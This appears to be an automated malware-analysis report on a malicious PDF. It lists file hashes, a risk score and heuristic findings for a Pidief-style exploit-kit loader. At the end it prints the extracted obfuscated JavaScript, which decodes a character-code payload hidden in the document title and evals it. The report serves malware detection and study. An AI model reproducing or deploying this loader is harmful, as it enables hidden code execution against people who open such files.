Malicious PDF — malware analysis report

Static analysis result for SHA-256 dee5132324f870bb…

MALICIOUS

PDF

44.5 KB First seen: 2026-05-07
MD5: 08ab269672acfda6133b0aae396fe9df SHA-1: c0fa4193140f70cf0a65336e4e03d01d5b4fc62a SHA-256: dee5132324f870bbc3c8576f86b9347e494be0cebdd5411669a123a2fdd6f2bc
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions cannot be determined without further analysis of the script content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF42 469 bytes
SHA-256: 2e52e04eb8a814449f10f1a840c3bb5ee14b694c7806f2b7dc115fd341a26b8b
Preview script
First 1,000 lines of the extracted script
dekv='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
eczy=e('ti'+'tle');
s=eczy.substr(t.length + 8,3)+'str';
q=eczy[s](1,(1,9));
kzn=e('S'+'tring.fro'+q);
q=eczy[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	hwn = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	dekv += kzn(hwn);
}
e(dekv);

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